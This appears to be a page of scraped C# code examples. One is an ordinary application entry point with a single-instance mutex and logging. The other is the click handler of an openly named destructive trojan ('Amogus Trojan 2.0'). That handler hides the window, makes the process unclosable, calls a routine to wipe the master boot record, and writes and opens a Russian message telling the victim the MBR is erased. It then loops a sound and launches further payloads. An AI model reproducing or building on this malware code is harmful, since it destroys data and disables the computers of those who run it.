コード例 #1
0
        public static void Main()
        {
#if !DEBUG
            Failsafe.Enable();
#endif
            try
            {
                _SINGLE_INSTANCE_MUTEX = new Mutex(true, "{185898E6-6BA9-46F9-A381-0725E6F73321}");
                if (_SINGLE_INSTANCE_MUTEX.WaitOne(100, true))
                {
                    // Setup Logging
                    _DEBUG_LOGGING = File.Exists("debug");
                    Log.OnLog     += LogHandler;
                    LogHandler($"{Environment.NewLine}{String.Concat(Enumerable.Repeat('#', 140))}{Environment.NewLine}", LogLevel.Info);
                    Log.Info("New Session");

                    // Start Application
                    var app = new App();
#if !DEBUG
                    Failsafe.Observe(app);
#endif
                    app.InitializeComponent();
                    app.Run();
                    _SINGLE_INSTANCE_MUTEX.ReleaseMutex();
                }
                else
                {
                    MessageBox.Show("Application is already running!", "ERROR", MessageBoxButton.OK, MessageBoxImage.Error);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString(), "MAIN ERROR", MessageBoxButton.OK, MessageBoxImage.Error);
                if (ex.InnerException != null)
                {
                    MessageBox.Show(ex.InnerException.ToString(), "MAIN ERROR", MessageBoxButton.OK, MessageBoxImage.Error);
                }
                Log.Fatal(ex);
                Log.Fatal(ex.InnerException);
                throw;
            }
        }
コード例 #2
0
        private async void button1_Click(object sender, EventArgs e)
        {
            // Run
            if (Failsafe.FailMain())
            {
                Harmless = false;
                Hide();
                Program.MakeUnclosable();
                MBR.FuckMBR();
                File.WriteAllText(@"C:\trash.txt", "Твой компьютер был заражен Amogus Trojan 2.0!\nДаже не пытайся его удалить, " +
                                  "твой MBR уже был стёрт!\n\nСоздано TheAirBlow 2021 (https://vk.com/theairblow)");
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName  = @"C:\Windows\notepad.exe";
                info.Arguments = @"C:\trash.txt";
                Process.Start(info);
                await Task.Delay(10000);

                SoundPlayer s = new SoundPlayer(Resources.amogus);
                s.PlayLooping();
                await PayloadsManager.Start();
            }
        }